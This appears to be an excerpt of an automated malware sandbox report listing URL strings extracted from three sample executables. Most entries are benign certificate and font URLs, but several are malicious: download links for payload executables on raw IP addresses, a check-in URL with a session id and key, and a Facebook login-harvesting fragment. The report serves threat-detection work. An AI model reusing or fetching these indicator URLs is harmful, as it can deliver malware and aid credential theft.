Source: fJe9em23BB.exe, 00000000.00000003.280900285.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289348810.0000000003B75000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.275505938.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.277585370.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291414308.0000000003B73000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://107.182.129.251/download/Service.exem
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.498866672.000000000067D000.00000004.00001000.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.494698215.0000000000673000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://208.67.104.97/p
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.423322310.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.30.115/
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.512760258.00000000005C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.hhiuew33.com/check/safe
Source: fJe9em23BB.exe, 00000000.00000003.272845576.0000000003B8E000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.280900285.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289348810.0000000003B75000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.275505938.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.276304026.0000000003B84000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.277585370.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291414308.0000000003B73000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.123/installer.exe
Source: fJe9em23BB.exe, 00000000.00000003.272845576.0000000003B8E000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.275505938.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.276304026.0000000003B84000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.277585370.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.123/installer.exe;
Source: fJe9em23BB.exe, 00000000.00000003.280900285.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289348810.0000000003B75000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.275505938.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.277585370.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291414308.0000000003B73000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.123/installer.exeC:
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.502282653.00000000005C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://89..hhiuew33.com/check/?sid=2601853&key=26a688ade9ed7838c5a984379bc376ee
Source: fJe9em23BB.exe, 00000000.00000003.255833744.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingg2.crl0T
Source: fJe9em23BB.exe, 00000000.00000003.255833744.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsextendcodesignsha2g3.crl0
Source: fJe9em23BB.exe, 00000000.00000003.255833744.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0b
Source: fJe9em23BB.exe, 00000000.00000003.255833744.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root.crl0G
Source: fJe9em23BB.exe, 00000000.00000003.255833744.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root.crl0
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.359009792.00000000005F2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/P
Source: fJe9em23BB.exe, 00000000.00000003.255833744.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/rootr103
Source: fJe9em23BB.exe, 00000000.00000003.255833744.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gsextendcodesignsha2g30U
Source: fJe9em23BB.exe, 00000000.00000003.255833744.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: fJe9em23BB.exe, 00000000.00000003.255833744.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gsextendcodesignsha2g3ocsp.crt0
Source: fJe9em23BB.exe, 00000000.00000003.255833744.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingg2.crt0
Source: fJe9em23BB.exe, 00000000.00000003.280900285.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289348810.0000000003B75000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.275505938.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.277585370.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291414308.0000000003B73000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://tg8.cllgxx.com/hp8/g1/yare1095.exe
Source: fJe9em23BB.exe, 00000000.00000003.280900285.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289348810.0000000003B75000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.275505938.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.277585370.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291414308.0000000003B73000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://tg8.cllgxx.com/hp8/g1/yare1095.exeC:
Source: fJe9em23BB.exe, 00000000.00000003.280900285.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289348810.0000000003B75000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.275505938.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.277585370.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291414308.0000000003B73000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://tg8.cllgxx.com/hp8/g1/yare1095.exeK
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.799631334.00000001400DD000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://wwmtmymummooooebook.com/https://www.facPOSTGET/device-based/loginContent-Type:
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.504842991.0000000009C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.505736185.0000000009C98000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.507208749.0000000009C99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.com
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.507208749.0000000009C99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml-n
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.505736185.0000000009C98000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.507208749.0000000009C99000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.505391975.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.como.
Source: fJe9em23BB.exe, 00000000.00000003.255925107.0000000002FFA000.00000004.00001000.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000000.251874348.0000000000637000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.emerge.deDVarFileInfo$
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.540531732.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.525818858.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.528495666.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530234735.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers%
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.562993128.0000000009C93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers(
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.526210685.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.525993453.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.525818858.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.540531732.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersn
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.533558207.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.540383118.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersn-u
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.525993453.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersp
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541332040.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541854556.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530234735.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541064499.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.528286392.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.531519578.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.529119001.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.533079945.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541640981.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.534030537.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.529352775.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530385630.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.533558207.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.531009180.0000000009C94000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.539012469.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.540383118.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.540695820.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.529773726.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.532803759.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.531142662.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.536205258.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com=
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530234735.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530385630.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.531009180.0000000009C94000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.531142662.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530536871.0000000009C92000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.531300988.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530750440.0000000009C92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comFw
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541332040.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541854556.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541064499.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.542093253.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541640981.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.540695820.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541945261.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.540531732.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comM.TTF
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541332040.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541854556.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530234735.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541064499.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.528286392.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.531519578.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.529119001.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.533079945.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541640981.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.534030537.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.529352775.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530385630.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.533558207.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.531009180.0000000009C94000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.539012469.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.540383118.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.540695820.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.529773726.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.532803759.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.531142662.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.536205258.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.coma
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541332040.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541854556.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541064499.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541640981.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.534030537.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.539012469.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.540383118.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.540695820.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.536205258.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.540531732.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comalici
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.534030537.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.533558207.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.539012469.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.540383118.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.536205258.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comals
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530750440.0000000009C92000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.528770697.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.529964657.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comd
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530234735.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530385630.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comdikE
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.528286392.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.529119001.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.529352775.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.529773726.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.528495666.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.528770697.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.529964657.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comi
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.562993128.0000000009C93000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.564843532.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.565668952.0000000009C96000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.563286947.0000000009C93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comldef
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541332040.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541854556.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541064499.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541640981.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.540383118.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.540695820.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541945261.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.540531732.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comlicd
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.562993128.0000000009C93000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.564843532.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.565668952.0000000009C96000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.563286947.0000000009C93000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.773153556.0000000009C6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comm
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.527761574.0000000009C92000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530234735.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.528286392.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.526917293.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.531519578.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.526634153.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.526210685.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.529119001.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.527298053.0000000009C91000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.533079945.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.525993453.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.529352775.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530385630.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.533558207.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.531009180.0000000009C94000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.529773726.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.532803759.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.527488569.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.531142662.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530536871.0000000009C92000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.528495666.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comnc.
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.526634153.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.526210685.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.525993453.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.como8
